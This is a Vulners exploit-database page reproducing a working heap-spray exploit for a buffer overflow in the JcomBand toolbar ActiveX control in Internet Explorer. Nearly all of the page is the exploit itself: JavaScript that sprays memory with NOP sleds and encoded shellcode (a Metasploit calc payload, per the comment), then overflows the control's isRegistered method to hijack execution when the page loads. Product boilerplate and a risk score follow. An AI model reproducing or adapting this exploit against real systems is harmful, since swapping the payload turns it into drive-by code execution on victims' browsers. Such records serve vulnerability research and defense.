Vulners
Lucene search
JcomBand toolbar on IE ActiveX Buffer Overflow Exploit
<html>
<head>
<title>JcomBand Exploit (heap spray) </title>
<object classid='clsid:952E3F80-0C34-48CD-829B-A45913B29670' id='test'></object>
<script language='javascript'>
// Author: [germaya_x & D3V!L FUCKER]
// Version: [2.5]
// special thanx: [for my best friend his0k4].
// Geetz [2] :[Sarbot511 ,thrid-devil].
//calc from metasploit
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
//Filling the header of our block with nops
while(nops.length< slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x40000) block= block+ block+ fillblock;
//Creating new memory array.
memory=new Array();
//Filling the memory array with the nops + shellcode.
for( counter=0; counter<300; counter++) memory[counter]= block + shellcode;
// the ret is the adress of our shellcode in the heap.
ret='%0a%0a%0a%0a';
// filling our buffer with ret adress
for( counter=0; counter<=50; counter++) ret+=unescape('%0a%0a%0a%0a');
// passing the buffer argument to the vulnerable function JumpMappedID().
test.isRegistered(ret);
</script>
</head>
</html>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1